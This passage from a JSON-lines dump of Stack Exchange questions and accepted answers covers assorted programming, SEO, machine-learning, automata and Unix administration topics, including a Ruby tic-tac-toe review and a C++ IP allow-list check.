variable x.List comprehensionYou can rewrite your initialisaion of rockList abusing list comprehension :rockList = [set(raw_input())    for _ in xrange(int(raw_input()))]Simplifying the logicAt the moment, for each element in the first set, you look in how many other sets it appears to know if it is a gem. You can make things clearer by considering that by default it is a gem except if we don't find it in one of the other sets (and in that case, we can stop looping) :for x in rockList[0]:    is_gem = True    for y in rockList[1:]:        if x not in y:            is_gem = False            break    if is_gem:        gemElement += 1Using Python good stuffUsing Python all builtin, we can write this all(x in y for y in rockList[1:]).You can extract rockList[1:] to call it only once (note that the cute way to write this in Python 3 would be to use extended iterable unpacking). Your code becomes :gemElement = 0other_rocks = rockList[1:]for x in rockList[0]:    if all(x in y for y in other_rocks):        gemElement += 1print gemElementNow, you can see that we can easily get the actual list of gems doing :gems = (x for x in rockList[0]    if all(x in y for y in other_rocks))This is not an actual list but a generator expression, you'll need to call list(gems) if you want to see an actual list but we don't really care about the list, we just need the number of elements : len(list(gems)) or sum if you don't want to build an intermediate list in memory.The code is now :rockList = [set(raw_input())    for _ in xrange(int(raw_input()))]other_rocks = rockList[1:]print sum(1 for x in rockList[0]    if all(x in y for y in other_rocks))One step back from the codeThe problem we are trying to solve is linked to a common problem : computing the intersection of multiple sets. It is a generic enough problem so that we can google it and find this answer for instance.Making the solution as concise as possible, one can write :print len(set.intersection(*[    set(raw_input())    for _ in xrange(int(raw_input()))]))"  } 
{  "id": "_webmaster.74256"  , "question": "Is is possible to configure my website to show different content in search result for the user from same google domain but from different cities?When I search in google.co.in from my city Chennai for the generic keywords like 'part time jobs', I get search results like 'Part time jobs in Chennai' for different websites. Are those website manipulate it or this is solely in the hands of Google?"  , "title": "City specific result in google for searches from different city for generic keyword?"  , "tags": "seo;google;local seo"  , "accepted_answer": "Yes and no.Google shows local searches from Chennai for the keyword Part time jobs because it believes if you search for this keyword, you're looking for a job near you. This behaviour is solely in the hands of Google.But you can optimize your website in such a way that your website will show up in these results:Add the name of the city to the title and the description of your pagesMake sure the address of the company is in this region and add this address on each page of the website.Add a landline with a zipcode from this region on each page of the website.Add the name of the city to the content, alt-texts of images, images-names.Create a Google business-page and verify your address.Add your business to Google Maps.If your business has multiple stores than you can create a page for each store to feature that location. (ex coffee shops)Show the address and the landline of the store on his page.Make sure to write unique content for each store to avoid being flagged as duplicate content. (about 300 words of unique content)The problem gets harder but the idea stays the same when your business covers multiple locations but has no physical store in these locations. (ex. a construction firm that covers 3-4 adjacent cities). What you can do in this case is for example create a page with testimonials for each city. "  } 
{  "id": "_datascience.10802"  , "question": "I understand from Hinton's paper that T-SNE does a good job in keeping local similarities and a decent job in preserving global structure (clusterization).However I'm not clear if points appearing closer in a 2D t-sne visualization can be assumed as more-similar data-points. I'm using data with 25 features.As an example, observing the image below, can I assume that blue datapoints are more similar to green ones, specifically to the biggest green-points cluster?. Or, asking differently, is it ok to assume that blue points are more similar to green one in the closest cluster, than to red ones in the other cluster? (disregarding green points in the red-ish cluster)When observing other examples, such as the ones presented at sci-kit learn Manifold learning it seems right to assume this, but I'm not sure if is correct statistically speaking.EDITI have calculated the distances from the original dataset manually (the mean pairwise euclidean distance) and the visualization actually represents a proportional spatial distance regarding the dataset. However, I would like to know if this is fairly acceptable to be expected from the original mathematical formulation of t-sne and not mere coincidence."  , "title": "Can closer points be considered more similar in T-SNE visualization?"  , "tags": "visualization;dimensionality reduction;tsne;manifold"  , "accepted_answer": "I would present t-SNE as a smart probabilistic adaptation of the Locally-linear embedding. In both cases, we attempt to project points from a high dimensional space to a small one. This projection is done by optimizing the conservation of local distances (directly with LLE, preproducing a probabilistic distribution and optimizing the KL-divergence with t-SNE). Then if your question is, does it keep global distances, the answer is no. It will depend on the shape of your data (if the distribution is smooth, then distances should be somehow conserved). t-SNE actually doesn't work well on the swiss roll (your S 3D image) and you can see that, in the 2D result, the very middle yellow points are generally closer to the red ones than the blue ones (they are perfectly centered in the 3D image).  An other good example of what t-SNE does is the clustering of handwritten digits. See the examples on this link:https://lvdmaaten.github.io/tsne/ "  } 
{  "id": "_softwareengineering.284249"  , "question": "I'm currently exploring TypeScript and I was wondering why not compile the whole app to a single JS file instead of compiling every .ts file to it's corresponding .js.Example for such an app is TypeDoc, which basically compiles to a single bin/typedoc.js file.The common concept is to compile each .ts file in a .js file with --module commonjs as an argument to the typescript compiler.Is there something that I need to worry about if I build a scalable ( big ) web application which compiles to a single file ?"  , "title": "Is it a bad practice to compile TypeScript NodeJS app to a single JS file?"  , "tags": "node.js;typescript"  } 
{  "id": "_codereview.47158"  , "question": "I have implemented Tic-Tac-Toe so that human can play with the computer, where the computer should never lose.  I did a simple analysis before implementing, and I found out that there are certain cells you want to occupy (I named it BEST_CELLS).Here is the link to the implementation: https://github.com/yangtheman/tictactoeI have five classes:Player: human or CPUTicTacToe: holds board instance variableTicTacToeGame: gets user input and make CPU moveTicTacToePrint: prints out the boardTicTacToeScan: scan the board for any two in a rows and three in a row (column/row/diagonal)I don't feel that my class design is optimal and scanning algorithms can be improved. I also used hashes for the board for faster look-up, but perhaps using arrays would be easier? I am looking for feedback on my design and algorithm.tic_tac_toe.rbclass TicTacToe  X_COORDS = [A, B, C]  Y_COORDS = [1, 2, 3]  attr_reader :board  def initialize    @best_cells = [B2, A1, A3, C1, C3]    @board = {}    X_COORDS.each do |x|      @board[x] = {}    end  end  def x_coords    X_COORDS  end  def y_coords    Y_COORDS  end  def place_marker(coord_string, player)    x, y = coord_string.upcase.split()    return nil unless coord_valid?(x, y)    deduct_from_best_cells(x, y)    @board[x][y] = player  end  def best_cells_left    @best_cells  end  def board_full?    sum = X_COORDS.inject(0) {|sum, x| sum += @board[x].size}    sum == 9  end  def player_cell?(x, y, player)    @board[x][y] == player  end  def empty_cell?(x, y)    @board[x][y].nil?  end  def cell_marker(x, y)    @board[x][y].nil? ? . : @board[x][y].marker  end  private  def coord_valid?(x, y)    within_range?(x, y) && @board[x][y].nil?  end  def within_range?(x, y)    X_COORDS.include?(x) && Y_COORDS.include?(y)  end  def deduct_from_best_cells(x, y)    @best_cells -= [#{x}#{y}]  endendtic_tac_toe_game.rbrequire_relative './player'require_relative './tic_tac_toe'require_relative './tic_tac_toe_scan'require_relative './tic_tac_toe_print'class TicTacToeGame  def initialize    @board = TicTacToe.new    @cpu = Player.new    @human = Player.new(false)  end  def play    print_initial_instruction    interact_with_human    play if continue_to_play?   end  def print_board    TicTacToePrint.print_board(@board)  end  def scan_board(player)    TicTacToeScan.new(@board, player)  end         private  def print_initial_instruction    puts Welcome to a Tic-Tac-Toe Game!\\nYou are playing against the computer. Try to win.    puts CPU marker is #{@cpu.marker}\\nYour marker is #{@human.marker}    print_board  end  def interact_with_human    loop do      if human_turn        break if game_over?      else        puts Invalid Move. Please try again.      end    end  end  def game_over?    human_scan = scan_board(@human)    return true if game_finished?(human_scan)    cpu_scan = scan_board(@cpu)    cpu_turn(cpu_scan, human_scan)    print_board    return true if game_finished?(scan_board(@cpu))  end  def human_turn    print Your Next Move (for example A1 or C3):     input = STDIN.gets.chomp().upcase    @board.place_marker(input, @human)  end  def cpu_turn(cpu_scan, human_scan)    cpu_cell = calculate_cpu_cell(cpu_scan, human_scan)    @board.place_marker(cpu_cell, @cpu)    puts CPU put his/her marker on #{cpu_cell}  end  def calculate_cpu_cell(cpu_scan, human_scan)    playable_cells = cpu_scan.get_playable_cells    to_block       = human_scan.get_playable_cells    if playable_cells[2] && playable_cells[2].length > 0      cpu_cell = playable_cells[2].first    elsif to_block[2] && to_block[2].length > 0      cpu_cell = to_block[2].first    elsif @board.best_cells_left.length > 0      cpu_cell = @board.best_cells_left.first    elsif playable_cells[1] && playable_cells[1].length > 0      cpu_cell = playable_cells[1].first    else      cpu_cell = playable_cells[0].first    end    cpu_cell  end  def game_finished?(scan)    if scan.winner?      if scan.player == @human        puts Congratulations, You Won!      else        puts Sorry. You Lost!      end      return true    elsif @board.board_full?       puts Awwwww. No one won! Game is tied!      return true    end    false  end  def continue_to_play?    print Would you like to play again? (Y or N):     if STDIN.gets.chomp() =~ /Y|y/      @board = TicTacToe.new      return true    end    false  endendtic_tac_toe_scan.rbclass TicTacToeScan  attr_reader :player, :playable_cells  def initialize(game, player)    @game = game    @player = player    @playable_cells = {}  end  def get_playable_cells    calculate_playable_cells    @playable_cells  end  def winner?    calculate_playable_cells if @playable_cells == {}    @playable_cells[3] && @playable_cells[3] == []  end  private  def calculate_playable_cells    scan_rows    scan_cols    scan_diag_w2e    scan_diag_e2w  end  def add_to_playable_cells(num, array)    @playable_cells[num] ||= []    @playable_cells[num] += array    @playable_cells[num].uniq!      end  def scan_rows    @game.y_coords.each do |y|      player_cell_num = 0      empty_cells = []      @game.x_coords.each do |x|        empty_cells << #{x}#{y} if @game.empty_cell?(x, y)        player_cell_num += 1 if @game.player_cell?(x, y, @player)      end      add_to_playable_cells(player_cell_num, empty_cells)    end  end  def scan_cols    @game.x_coords.each do |x|      player_cell_num = 0      empty_cells = []      @game.y_coords.each do |y|        empty_cells << #{x}#{y} if @game.empty_cell?(x, y)        player_cell_num += 1 if @game.player_cell?(x, y, @player)      end      add_to_playable_cells(player_cell_num, empty_cells)    end  end  def scan_diag_w2e    player_cell_num = 0    empty_cells = []    @game.x_coords.each_with_index do |x, index|      y = @game.y_coords[index]      empty_cells << #{x}#{y} if @game.empty_cell?(x, y)      player_cell_num += 1 if @game.player_cell?(x, y, @player)    end    add_to_playable_cells(player_cell_num, empty_cells)  end  def scan_diag_e2w    player_cell_num = 0    empty_cells = []    @game.x_coords.each_with_index do |x, index|      y = @game.y_coords.reverse[index]      empty_cells << #{x}#{y} if @game.empty_cell?(x, y)      player_cell_num += 1 if @game.player_cell?(x, y, @player)    end    add_to_playable_cells(player_cell_num, empty_cells)  endend"  , "title": "Tic-Tac-Toe implementation where computer should not lose"  , "tags": "algorithm;object oriented;ruby;design patterns"  , "accepted_answer": "Random access and performanceFlambino has correctly remarked that performance is no issue with any container holding a 3x3 matrix, but for the sake of argument, let's say that it might be an issue.A major benefit in a Hash structure is that it keeps a \\$O(1)\\$ complexity in setting as well as fetching elements in it, no matter how large it is (as long as the hashing function is well thought of). This is what is called Random Access.An Array on the other hand has... Random access as well! That is, as long as you know where your item is, reaching that item is done immediately.In actuality, small hashes with a fixed number of elements will always be less performant than arrays, since the hashing function will be much too generic, and since hashes are implemented using buckets (some variants of a tree structure) which are kept in an array...I guess when you said faster look-up you might have meant using less code, or maybe having a structure closer to the human metaphor (human player enters A2...) - both are debatable, but from a performance point-of-view it is quite clear cut - there is no reason to work with a Hash for the board state - an array (or a two-dimensional array) will be your best option.Class names and motivationsFlambino has noted that the TicTacToe prefix is not advisable, and should be removed.Class names should be of actors and not of actions - this is extra obvious after removing the prefix of the class names - Printer and Scanner are better names than Print and Scan.Both of those classes look suspiciously specific, which should make us think are they really class-worthy? Shouldn't the TicTacToePrint class simply be a def print method within the Game class? After all - it is used only once, and you even chose to omit its implementation, since it is trivial...  Also, it seems that TicTacToeScan is an elaborate class intended to maintain the state of the board, I believe that it should either be part of the board's state, or simply make the calculation ad-hoc on the fly.Oh, and forgotten - what does Player do? Does it do anything? Is it really class worthy?Method boundariesA method should do exactly what it claims it does.For example - interact_with_human looks innocent enough, since it calls human_turn, and breaks if game_over?, but actually game_over? plays the computer's turn!This is unpredictable and confusing. game_over? should do just that - check whether the game is over. Any other logic should be done elsewhere.Where is your strategy?In the title of the post you put at center stage that computer should not lose - which means that the point of the exercise is to showcase the strategy for playing cpu. But your strategy code is strewn all over the code (some in TicTacToe, some in TicTacToeGame, and some in TicTacToeScan) - that it is impossible to understand in one reading what your strategy actually is.From all the classes you decided to implement, that one most obviously missing is the Strategy class (you could call it CpuPlayer, as it stands as complement to the human player against it). It should know (or, at least, claim) which are the best cells, decide to score playable cells by player_cell_num (which, I admit, I couldn't thoroughly understand), and, of course, decide which is the next cell the CPU player should play.Be DRYYou TicTacToeScan class is full of cut-and-paste code. This makes it hard to read, and hard to maintain."  } 
{  "id": "_codereview.101612"  , "question": "I wanted an easy way to augment objects, by adding functionality from any other object(s). More importantly, I needed a way to augment the object from multiple sources in a clean one-line solution.The inheritance is done with this: function extend(proto, args){    this[proto.id] = Object.create(proto);    proto.constructor.call(this[proto.id], args);}extend.call(this, vehicle, args); // one-linerI can invoke as many objects as needed; with this pattern it's easy to swap and change the prototype chain, so I could just put the above extend code in the vehicle object, if that's where I want augmentation.It's now easy to create a car by pulling in whatever you need:extend.call(this, vehicle, args);extend.call(this, sunroof, args);extend.call(this, tyres, args);extend.call(this, wings, args);extend.call(this, rocket, args);etc...Questions:Plausibility: is it flawed in some way?Optimisation: can I enhance the pattern?clunky: I had to create an id property for each object, so the extend function knows how to create a property on the executing context. It seems like a hack. Is there a way to get a prototype name from a named constructor?var manufacturer = {    id:'manufacturer',    constructor : function (args) {        this.boss = args.boss || 'Bernie Ecclestone';      this.country = args.country || 'UK';            return this;    }};var vehicle = {    id:'vehicle',    constructor : function (args) {        this.colour = args.colour || 'blue';      this.wheels = args.wheels || 2;             extend.call(this, manufacturer, args);        return this;    }};var driver = {    id:'driver',    constructor : function (args) {        this.name = args.name || 'John';        return this;    },    info : function () { console.log(this.name); }};var engine = {    id:'engine',    constructor : function (args) {        this.type = args.type || 'V6';        this.fuel = args.fuel || 'petrol';        return this;    },    tune : function () {         this.type = 'super-charged';        this.fuel = 'ethanol';        console.log('Car now ' + this.type + ' with ' + this.fuel);     }};var car = {    id:'car',    constructor : function (args) {               extend.call(this, vehicle, args);      extend.call(this, driver, args);         extend.call(this, engine, args);           return this;    },    info : function () {         console.log('boss: ' + this.vehicle.manufacturer.boss);        console.log('country: ' + this.vehicle.manufacturer.country);        console.log('driver: ' + this.driver.name);        console.log('colour: ' + this.vehicle.colour);      console.log('wheels: ' + this.vehicle.wheels);      console.log('type: '   + this.engine.type);      console.log('fuel: '   + this.engine.fuel);        console.log('\\n');  }};function extend(proto, args){  this[proto.id] = Object.create(proto);  proto.constructor.call(this[proto.id], args);}var ferrari = Object.create(car).constructor({    boss: 'Maurizio Arrivabene',    country:'Italy',    name: 'Steve',     colour: 'red',     wheels: 4,     type:'100cc',     fuel:'diesel'});var lotus = Object.create(car).constructor({    name: 'Jenson Button'});var mclaren = Object.create(car).constructor({  type:'hybrid',    fuel:'battery/petrol'});ferrari.engine.tune();ferrari.info();/*Car now super-charged with ethanolboss: Maurizio Arrivabenecountry: Italydriver: Stevecolour: redwheels: 4type: super-chargedfuel: ethanol*/lotus.info();/*boss: Bernie Ecclestonecountry: UKdriver: Jenson Buttoncolour: bluewheels: 2type: V6fuel: petrol*/mclaren.info();/*boss: Bernie Ecclestonecountry: UKdriver: Johncolour: bluewheels: 2type: hybridfuel: battery/petrol*/"  , "title": "Multiple inheritance pattern for vehicle information"  , "tags": "javascript;object oriented;inheritance"  } 
{  "id": "_unix.166458"  , "question": "I have several workstations (laptops and desktops).  I'd like to synchronize files among them such that each one is a mirror of the other.  I used to run an NFS server and share files out, but that only works if I am on the network.  I'd like to have access to my files, be able to make changes and when I connect to the network again, have the changes I've made be reflected to the other volumes and so on.I'm considering btrfs or perhaps a clustered fs such as glusterfs or luster.  Are any of these good fits for frequently offline nodes?  It seems they'd work well if they were always online, but likely not work well for frequently offline."  , "title": "fs synchronization among desktops"  , "tags": "btrfs;replication"  , "accepted_answer": "I am actually using git-annex.  I've been using it for over a year and it works reasonably well."  } 
{  "id": "_unix.384468"  , "question": "I am using watch to periodically run a perl script that requires Term::Size to obtain the terminal width using$columns = Term::Size::chars *STDOUT{IO}Curiously, $columns is an empty string in this case. Does watch somehow manipulate STDOUT or the terminfo database?"  , "title": "Linux watch and terminfo"  , "tags": "linux;terminal;perl"  , "accepted_answer": "Unfortunately, watch uses pipes to collect output from the subprocess, as you can see from watch 'ls -l /proc/self/fd'Every 2.0s: ls -l /proc/self/fd      ...lrwx------ 1  64 Aug  7 16:28 0 -> /dev/pts/6l-wx------ 1  64 Aug  7 16:28 1 -> pipe:[42416612]l-wx------ 1  64 Aug  7 16:28 2 -> pipe:[42416612]lr-x------ 1  64 Aug  7 16:28 3 -> /proc/3509/fd"  } 
{  "id": "_unix.210954"  , "question": "I'm trying to delete a user:pgrep -u testps -fp $(pgrep -u test)killall -KILL -u testuserdel -r testBut the last command always returns userdel: user test is currently used by process xxxwhere xxx is always different. "  , "title": "Unable to delete a user: user test is currently used by process xxx"  , "tags": "linux;users;accounts"  } 
{  "id": "_cstheory.32053"  , "question": "The emptiness problem for Context free Grammars(CFG) is well studied. The same holds for the equivalence problem between Pushdown Automata (PDA) and CFGs. Therefore, given a PDA, the straightforward way to decide whether the language it accepts is empty is to convert the PDA into a CFG and then use the known algorithm to decide emptiness of the corresponding CFG.I am wondering whether there exists some algorithm to directly check emptiness of the language of the PDA without going through the conversion to a context free grammar. "  , "title": "Emptiness of PDA without constructing the corresponding CFG"  , "tags": "automata theory;grammars"  , "accepted_answer": "Quick Answer: Yes, there is a really lovely algorithm that solves non-emptiness for pushdown automata that does not involve constructing the equivalent CFG.Possible Drawback: Correct me if I am wrong, but it doesn't appear to be more efficient than the approach where you convert to a CFG.Basic Idea: It can be viewed as a sort of dynamic programming algorithm where you solve reachability without ever constructing the possibly exponential length paths that you need to consider.You start with a state diagram for a Pushdown Automata. Let's call a transition that doesn't manipulate the stack a resting transition. You proceed with a series of stages. Start of Stage: You combine all compatible push and resting transitions. Next, you combine all compatible pop and resting transitions. Then, you combine all compatible pairs of resting transitions with each other.  Finally, you combine all compatible push and pop transitions.  Now, you throw in all of the new transitions into the state diagram.  End of Stage.You go through stage after stage repeating this process.  There are only so many possible transitions.  Eventually, you either get a transition that leads from the start state to a final state or you must run out of possible transitions to add.  At this point, you know whether the automata's language is empty or not. Question: Can you provide me with any books or papers that give a good exposition of this algorithm?  Whenever I searched for it several years ago, it seemed that this algorithm is unpopular or not well known.  I personally really like it.Thanks for asking the question!  I really appreciate it and I hope this helps a little bit.  Have a nice day!  :)"  } 
{  "id": "_softwareengineering.235045"  , "question": "I am very confused about white box testing.A simplified version of the example: the entire system consists of three methods - methodA(), methodB(), methodC().The program starts from methodA(), and methodB() requires input from methodA() and methodC() requires input from methodB().Do we create 3 white box tests, one for each method, or do we create one white box test for the entire system?"  , "title": "Do we do white box testing on methods or on an overall program?"  , "tags": "unit testing;software;engineering"  } 
{  "id": "_codereview.100358"  , "question": "I'm yrying to practice some OO PHP and I'm just wondering if what I'm doing is okay or not. Please tell me if there are any alarms in my method so that I can stop doing it and learn a better way.In my conditional statement, I was following the rule of no else keyword, based on this article by William Durand, which talks about Object Calisthenics.I also don't know if I'm using the abstract properly, being that I learned it just a few minutes ago - but it works, so I suppose it's being used correctly.<?php        abstract class Homework        {            protected $coursesTaken = 0;            protected $minimumCourses = 10;            abstract function completedOrNot();        }        class HistoryHomework extends Homework        {            public function __construct($coursesTaken)            {                $this->coursesTaken = $coursesTaken;            }            public function completedOrNot()            {                if ($this->coursesTaken >= $this->minimumCourses)                {                    return You completed the course in  . $this->coursesTaken                    .  classes, but you only needed  . $this->minimumCourses                    .  classes to complete the course! \\n\\n;                }                return Sorry, you did not complete this course. You only took                 . $this->coursesTaken .  classes, and you need a minimum of                 . $this->minimumCourses .  to pass. \\n\\n;            }        }        $student1 = new HistoryHomework(11);        echo $student1->completedOrNot(); // You have completed the course in 11 classes, but you only needed 10 classes to complete the course!        $student2 = new HistoryHomework(7);        echo $student2->completedOrNot(); // Sorry, you did not complete this course. You only took 7 classes, and you need a minimum of 10 to pass."  , "title": "History homework class"  , "tags": "php"  } 
{  "id": "_unix.19292"  , "question": "I'm running Ubuntu. I need to know any way to obfuscate .sh shell script file contents in order to make it very difficult to read.Any suggestion are welcome, including using online obfuscator."  , "title": "Is there any way I can obfuscate .sh shell script?"  , "tags": "shell script"  , "accepted_answer": "This really depends on who you are trying to prevent from reading the script and what resources you are expecting the system to have.One option is to simply use many different programs to do different parts of your script: shell, awk, sed, perl, etc. as well as lots of obscure parameters of tools, forcing the reader to constantly refer to man pages.Even within a shell, you can create unnecessary functions and variables, making them interdependent in confusing ways.  And, of course, give them misleading names.More complicated, you can append binary data to the end of your shell and have your shell extract and execute the binary.  I believe nVidia's Linux drivers, and Sun's JDK are installed this way (the binary data is an RPM, which the shell extracts and installs).  Another example I just downloaded the other day is the soapUI program.In that vein, it is possible to have a text file that can be compiled or interpreted in multiple languages, so it could start as a shell, compile itself as a C program and execute the result.  The IOCCC has some examples."  } 
{  "id": "_unix.381766"  , "question": "I found, that sometimes DHCP server from behind my main router answers DHCP request from clients in the LAN. Below is an exampleNotebook is connected to LAN via access point. There is DHCP server running on LAN at pfSense. There is also DHCP server running on Router3. Sometimes, notebook receives address from Router3. The question is: how it can be and how to patch this bleach? In my firewall I have a rule 192.168.100.0/24 to pass so that I could open router web GUI from any clients. But I don't want it's DHCP server serves...UPDATE 1Probably I was wrongly blaming Router3 device. I found another device that could provide DHCP services: I have also multimedia player with built-in AP functionality. I have turned it on some time ago, but it didn't worked as I expected, so I forgot about it. Although it has 192.168.100.1 undocumented DHCP server inside. I deduced this by MAC address of that fake DHCP server, which has first bytes the same as of this device. Now I turned AP off and will see how it will behave."  , "title": "How to prevent DHCP server from behind the router to answer to DHCP requests?"  , "tags": "freebsd;routing;dhcp;pfsense"  } 
{  "id": "_codereview.48129"  , "question": "I had a rather large method in one public class that I refactored into 2 helper classes. The thing is though, that those 2 helper classes have dependencies. I refactored them into helper classes so I could mock and test them easily, which worked out perfectly.However, the thing is I don't want to have to register my helper classes in the DI container, because I know the public class will always be using those specific implementations.This is how I implemented the public class' constructors:    /// <summary>    /// Internal constructor used by tests for mocking.    /// </summary>    internal TranslationCompiler(ITranslationCatalogTransformer translationCatalogTransformer, ICompiledCatalogTransformer compiledCatalogTransformer)    {        if (compiledCatalogTransformer == null) throw new ArgumentNullException(compiledCatalogTransformer);        if (translationCatalogTransformer == null) throw new ArgumentNullException(translationCatalogTransformer);        _translationCatalogTransformer = translationCatalogTransformer;        _compiledCatalogTransformer = compiledCatalogTransformer;    }    /// <summary>    /// Public constructor that passes dependencies to concrete implementations of helper classes.    /// </summary>    public TranslationCompiler(IResourceService resourceService, ITranslationSerializer serializer)    {        if (resourceService == null) throw new ArgumentNullException(resourceService);        if (serializer == null) throw new ArgumentNullException(serializer);        _translationCatalogTransformer = new TranslationCatalogTransformer(resourceService);        _compiledCatalogTransformer = new CompiledCatalogTransformer(serializer);    }Is this an acceptable use for poor man's DI? This way, the DI container only has to know the actual dependencies for the public class to work, while still being very testable."  , "title": "Using Poor Man's DI to inject helper class dependencies"  , "tags": "c#;design patterns;dependency injection"  } 
{  "id": "_webmaster.89486"  , "question": "There is a product that consists of multiple services that are hosted on different domains. One of the services is used to host user's packages which are available through the URL:service.productdomain.com/packageidonly direct links are used to access the packages, so the service doesn't have a homepage and requests to service.productdomain.com/ will be 302 redirected to productdomain.com/ (URL of the main product). Is it ok for search engines?Will they request service.productdomain.com/robots.txt, sitemap (which is defined in robots.txt), and index other pages that are specified in sitemap?I can also create a homepage with some general information and meta tags if existing approach doesn't work for search crawlers."  , "title": "SEO and 302 redirect from homepage to another domain"  , "tags": "seo;redirects;homepage"  } 
{  "id": "_unix.360564"  , "question": "In OSX, the following command removes patterns and affects whole words:sed -e $(sed 's:.*:s/&//g:' /path/to/wordsToRemove.txt) /path/to/sourceFile.txt > outFile.txtwordsToRemove.txt contains:itforsourceFile.txt contains:it was green forever for candyoutFile.txt contains:was green ever candyThe word forever is matched and has been changed to ever although I wanted to match the word for on its own, not as part of forever.Is it possible to avoid this?"  , "title": "sed file comparison"  , "tags": "sed;regular expression"  } 
{  "id": "_codereview.74879"  , "question": "I coded an executable program (.exe) that I only want run either from my home computer, our main server, or people in our development team.I have coded logic that will only allow the program to be run from certain IP addresses.The .txt file that's referenced in the getIPlist function looks like this:[123.456.78.90] = Main Server[77.34.555.392] = My computer at home[333.455.3.3] = Assistant coderAnd the HTTP address that the parseAllowableIPs function points to is a PHP file that is simply coded:<?php echo $_SERVER['REMOTE_ADDR']; ?>This code is working great (except for a bit of memory not being freed), so a review or some efficiency tips are welcome.bool compareIPs(std::string IPlist, std::string userIP){    const char *U = userIP.c_str();    char str[20];    const char *goodList[25] = { '\\0' };    std::string uIP = ;    while (*U)    {        if (atoi(U))        {            uIP += itoa(atoi(U), str, 10);            while (*U && *U != '.')                *U++;            if (*U && *U == '.')                uIP += .;        }        if (*U)            *U++;    }    const char *L = IPlist.c_str();    int count = 0;    std::string thisIP = ;    while (*L)    {        switch (*L)        {        case '[':            *L++;            while (*L && *L != ']')            {                thisIP += *L;                *L++;            }            goodList[count] = _strdup(thisIP.c_str());            thisIP = ;            count++;            break;        default:            break;        }        if (*L && *L != '[')            *L++;    }    std::string comp = ;    // Now check to see if the user's IP matches any in the goodList[]    for (int a = count; a >= 0; a--)    {        if (!goodList[a])            continue;        comp = goodList[a];        if (!uIP.compare(comp))        {            // I need to free() what was _strdup()'d            // but this causes the progam to crash.            //free(&goodList[a]);            return true;        }    }    return false;}#pragma comment(lib, WinInet.Lib)std::string getIPlist(){    HINTERNET hInternet, hFile;    DWORD rSize;    char buffer[1024];    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);    hFile = InternetOpenUrl(hInternet, http://www.myWebServer.com/ip/authorizedIPlist.txt, NULL, 0, INTERNET_FLAG_RELOAD, 0);    InternetReadFile(hFile, &buffer, sizeof(buffer), &rSize);    buffer[rSize] = '\\0';    InternetCloseHandle(hFile);    InternetCloseHandle(hInternet);    std::string result = buffer;    return result;}bool parseAllowableIPs(){    // Grap the list of allowable IP's and store it in a string    // to be parsed in compareIPs() function.    std::string allowableIPlist = getIPlist();    HINTERNET hInternet, hFile;    DWORD rSize;    char buffer[1024];    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);    hFile = InternetOpenUrl(hInternet, http://www.myWebServer.com/ip/index.php, NULL, 0, INTERNET_FLAG_RELOAD, 0);    InternetReadFile(hFile, &buffer, sizeof(buffer), &rSize);    buffer[rSize] = '\\0';    InternetCloseHandle(hFile);    InternetCloseHandle(hInternet);    std::string result = buffer;    if (!compareIPs(allowableIPlist, result))        return false;    return true;}int main(){    //... blah blah blah    // If not an authorized IP, just exit the game.    if (!parseAllowableIPs())    {        MySQL__disconnect();        exit(588924);    }}"  , "title": "Allow certain IP addresses to run a C++ program"  , "tags": "c++;security;networking;windows;authorization"  } 
{  "id": "_webapps.44216"  , "question": "Is there a way to learn the time of a notification?For example, on Facebook, when someone comments on my status or tags me in some photo I receive an instant notification, and when I open my notification window it says 2 hours ago or a few seconds ago etc.Is there such a feature on G+ as well ? "  , "title": "Google Plus when did I get a notification?"  , "tags": "google plus;notifications"  , "accepted_answer": "Certainly if you're receiving email notifications you'll have a timestamp on the email message.Some of the notifications (depending on what they are) do have a date/time on them. You may need to go to View all notifications to see that (or at least click the notification itself).I think, though, that this isn't practical in G+. Notifications for the same item get rolled up into one notification record. (For instance, I see a notification on a post of mine telling me that three people have +1'd it and one person has shared it. Obviously they didn't all do it at the same precise moment.)"  } 
{  "id": "_codereview.23163"  , "question": "I want to check if the length of phone number is appropriate for specified country (let's consider that only some countries have restriction, another countries accept phone number with various length). I have a Map, where the correct pairs are defined so this map can be used as a reference in the condition:public static ErrCode checkStatePhoneLen(final String state, final String phoneNo) {    String  stateTmp = state.trim();    String  phoneTmp = phoneNo.trim();    Integer phoneLen = new Integer(phoneTmp.length());    if ( statePhoneNoMap.containsKey(stateTmp) && !phoneLen.equals(statePhoneNoMap.get(stateTmp)))    {        return ERROR;    }    return SUCCESS;}My questions are:Is it better to use temporary variables or directly usage of already existed object? I can just use state.trim() instead of creating the variable state_tmp and so on. I think that advantages of the solution with temporary variables are better readability and debugging but disadvantages are the effort to create new variable by runtime (or is it optimized someway by compiler?) and more rows of code (but I prefer readability factor more than number of rows factor).is it better to check if map contains the key and then compare, or to get value for given key and then check if it is not null and compare them? As following example:Integer definedLen = (Integer) statePhoneNoMap.get(stateTmp);if (definedLen != null && !definedLen.equals(phoneLen)){In this code sample, there is needed one more variable, but the condition is clearer. And, there is just one operation upon map (get()) instead of two in previous code (containsKey(), get())What is better solution? How would you modify this function?"  , "title": "Defining of new, temporary, variables or usage of already known ones?"  , "tags": "java;optimization"  , "accepted_answer": "public static ErrCode checkStatePhoneLen(final String state, final String phoneNo) {    String  stateTmp = state.trim();    String  phoneTmp = phoneNo.trim();The issue is that stateTmp is less readable than state.trim(), so if you want to create a new variable, make sure that the name carries your intent. You can go for normalizedState, but since you're only trimming (and are not normalizing capitalization for example) then a variable is useless.    Integer phoneLen = new Integer(phoneTmp.length());This one is useful! phoneLen is clearer than phoneNo.trim().length(). This answers your first question: it depends! Use new variable names when they do make thing clearer, but never use dummy names like phoneTmp, phone1, and so on. By the way, I may be mistaken, but are you certain Integer is necessary? Java should do autoboxing. I would simply write int phoneLen = phoneNo.trim().length().    if (statePhoneNoMap.containsKey(stateTmp) && !phoneLen.equals(statePhoneNoMap.get(stateTmp)))    {        return ERROR;    }    return SUCCESS;To answer your second question, you don't need to explicitely check for null: it's simpler to compare phoneLen and statePhoneNoMap.get(stateTmp) directly. If the latter is null, then the comparison will return false. If phoneLen is null, you don't want to return a value but throw an exception anyway, and this is what happens with your current code because null.equals(...) throws.It makes more sense to check for success and return ERROR if something went wrong.If you have an ErrCode type instead of a boolean, you have to return more explicit codes! Otherwise just return the condition directly.The code becomes:public static ErrCode checkStatePhoneLen(final String state, final String phoneNo) {    int phoneLen = phoneNo.trim().length();    int stateTrimmed = state.trim();    if (statePhoneNoMap.containsKey(stateTrimmed)        && phoneLen == statePhoneNoMap.get(stateTrimmed))    {        